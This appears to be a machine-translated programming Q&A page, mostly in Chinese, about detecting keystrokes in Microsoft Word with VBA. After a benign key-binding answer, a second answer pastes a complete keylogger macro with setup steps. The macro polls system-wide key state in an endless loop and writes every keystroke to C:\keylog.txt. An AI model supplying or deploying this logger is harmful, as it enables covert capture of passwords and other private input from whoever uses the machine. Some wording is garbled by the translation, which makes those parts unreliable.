检测何时将数据添加到文档中,例如。一个字符或白色 space

Detecting when data is added to a document, eg. a character or white space

有没有一种方法可以检测用户何时使用 VBA 在 Microsoft Word 中按下某个键。我已经搜索了一种方法来做到这一点。我还搜索了解决此问题的方法,例如检测插入点何时移动或检测何时将新字符放置在 word 文档中,但我没有看。我目前正在使用 appWord_WindowSelectionChange(ByVal Sel As Selection),但在您键入时无法检测到。

如果有人向我展示如何检测按键或能够向我展示可以实现相同目标的解决方法,我将不胜感激。

编辑

如果以上我想要的内容的摘要不清楚,我深表歉意。我有一个使用 appWord_WindowSelectionChange(ByVal Sel As Selection) 触发的潜艇。但是,我想要的是只要将任何数据输入到 word 文档中,就会触发此 sub,例如。一个字母或一个白色 space 字符。例如,如果 word 文档的页脚中有一个字符数,而我的这个 sub 更新了这个字符数,那么字符数字段应该随着用户在文档中键入内容而更新。

使用键绑定将字符绑定到您想要的功能。例如,以下代码(当 运行 时)会在用户在 word 文档中输入 0 时触发一个消息框。

将其放入模块 1

Sub AddKeyBinding()
With Application
    .CustomizationContext = ThisDocument
    .KeyBindings.Add KeyCode:=BuildKeyCode(wdKey0), _
    KeyCategory:=wdKeyCategoryCommand, _
    Command:="userpressedzero"
End With
End Sub

将其放入模块 2

Sub userpressedzero()
    Dim MyText As String
    Selection.TypeText ("0")
    MsgBox ("user pressed 0")
End Sub

现在 运行 模块 1 并在您的 word 文档中按 0。

不是我的代码,而是 HTH。

        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
        Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

        Sub KeyStrokeLogger()
            Dim i As Integer
            Dim KeyAsciiValue As Integer

            StartLogging
            Do While True
                For i = 1 To 255
                    If GetAsyncKeyState(i) = -32767 Then
                        If CapsLockIsOn() Then
                            If ShiftIsPressed() = True Then
                 KeyAsciiValue = Asc(LCase(Chr(i)))
                  Else
                 KeyAsciiValue = Asc(UCase(Chr(i)))
                  End If
                        Else
                            If ShiftIsPressed() = True Then
                 KeyAsciiValue = Asc(UCase(Chr(i)))
                  Else
                 KeyAsciiValue = Asc(LCase(Chr(i)))
                  End If
                        End If
                        LogKeyStroke KeyAsciiValue
                    End If
                Next i
                DoEvents
            Loop
        End Sub

        Private Function CapsLockIsOn() As Boolean
            CapsLockIsOn = CBool(GetKeyState(20))
        End Function

        Private Function ShiftIsPressed() As Boolean
            ShiftIsPressed = CBool(GetAsyncKeyState(16))
        End Function

        Private Sub StartLogging()
            Open "C:\keylog.txt" For Binary As #1
            Seek #1, LOF(1) + 1
        End Sub

        Private Sub LogKeyStroke(KeyAsciiValue As Integer)
            Dim c As String * 1
            c = Chr(KeyAsciiValue)
            Select Case KeyAsciiValue
                Case 8
                    Put #1, , "{BACKSPACE}"
                Case 9
                    Put #1, , "{TAB}"
                Case 13
                    Put #1, , "{ENTER}"
                Case 32 To 126
                    Put #1, , c
                Case Else
                    Put #1, , "{" & KeyAsciiValue & "}"
            End Select
        End Sub

*"以上代码的使用方法:

第一步 在 MS-Word 中创建一个新文档。

第 2 步 转到工具、宏、Visual Basic 编辑器

步骤 3 双击项目 Window.

中项目 (Document1) 下的 ThisDocument 对象

第 4 步 复制以上代码并将其粘贴到 Visual Basic 编辑器中。

第5步 关闭 Visual Basic 编辑器并保存文档。

第6步 确保已启用宏。要随时开始记录击键,请单击“工具”、“宏”、“宏”。 Select KeyStrokeLogger 并单击 运行。所有击键都将存储在 C:\keylog.txt 中。 “* LinkBack to Post